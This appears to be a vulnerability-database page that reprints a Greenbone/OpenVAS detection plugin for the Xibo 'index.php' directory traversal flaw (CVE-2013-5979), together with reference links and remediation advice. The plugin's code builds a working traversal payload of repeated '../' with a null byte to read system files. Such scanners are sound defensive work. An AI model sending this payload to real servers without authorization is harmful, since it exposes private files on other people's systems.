Lucene search
+L

Xibo 'index.php' Multiple Directory Traversal Vulnerabilities

🗓️ 07 Oct 2013 00:00:00Reported by Copyright (C) 2013 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 20 Views

Xibo 'index.php' Multiple Directory Traversal Vulnerabilities, allows an attacker to retrieve arbitrary files outside of the webserver root directory using directory-traversal strings

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-5979
2 Oct 201322:55
attackerkb
cve
CVE
CVE-2013-5979
2 Oct 201322:00
cve
cvelist
Cvelist
CVE-2013-5979
2 Oct 201322:00
cvelist
dsquare
Dsquare
Xibo 1.4.1 LFI
4 Oct 201300:00
dsquare
exploitdb
Exploit DB
Xibo 1.2.2/1.4.1 - 'index.php?p' Directory Traversal
18 Jul 201300:00
exploitdb
nuclei
Nuclei
Xibo 1.2.2/1.4.1 - Directory Traversal
22 Aug 202612:19
nuclei
nvd
NVD
CVE-2013-5979
2 Oct 201322:55
nvd
prion
Prion
Directory traversal
2 Oct 201322:55
prion
ptsecurity
Positive Technologies
PT-2013-5900
2 Oct 201300:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-5979
22 May 202505:07
redhatcve
SourceLink
securityfocuswww.securityfocus.com/bid/61352
# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103797");
  script_cve_id("CVE-2013-5979");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_version("2025-04-15T05:54:49+0000");
  script_name("Xibo 'index.php' Multiple Directory Traversal Vulnerabilities");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61352");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2013-10-07 11:05:49 +0200 (Mon, 07 Oct 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"An attacker can exploit these issues using directory-traversal strings
to retrieve arbitrary files outside of the webserver root directory.
This may aid in further attacks");

  script_tag(name:"vuldetect", value:"Using directory traversal strings in a HTTP GET request to determine
if it is possible to access a local file.");

  script_tag(name:"insight", value:"Directory traversal vulnerabilities occur when user input is
used in the construction of a filename or directory path which is subsequently
used in some system function. If the input is not correctly validated or
directory permissions not correctly set, it may be possible to cause a different
file to be accessed other than that intended. This issue was exploited by adding a
null byte (%00) which resulted in the application ignoring the rest of the supplied
value after the null byte.");

  script_tag(name:"solution", value:"Upgrade to Xibo 1.4.2 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"Xibo is prone to multiple directory traversal vulnerabilities because
it fails to properly sanitize user-supplied input.");

  script_tag(name:"affected", value:"Xibo 1.2.2 and 1.4.1 are vulnerable, other versions may also be
affected.");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/xibo", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + '/index.php';
  buf = http_get_cache( item:url, port:port );

  if( "<title>Xibo Admin - Please Login" >< buf ) {
    foreach file( keys( files ) ) {
      url = dir + '/index.php?p=' + crap(data:"../", length:9*6) + files[file] + '%00index&amp;q=About&amp;ajax=true&amp;_=1355779988 ';
      if( http_vuln_check( port:port, url:url, pattern:file ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
EPSS0.18125
20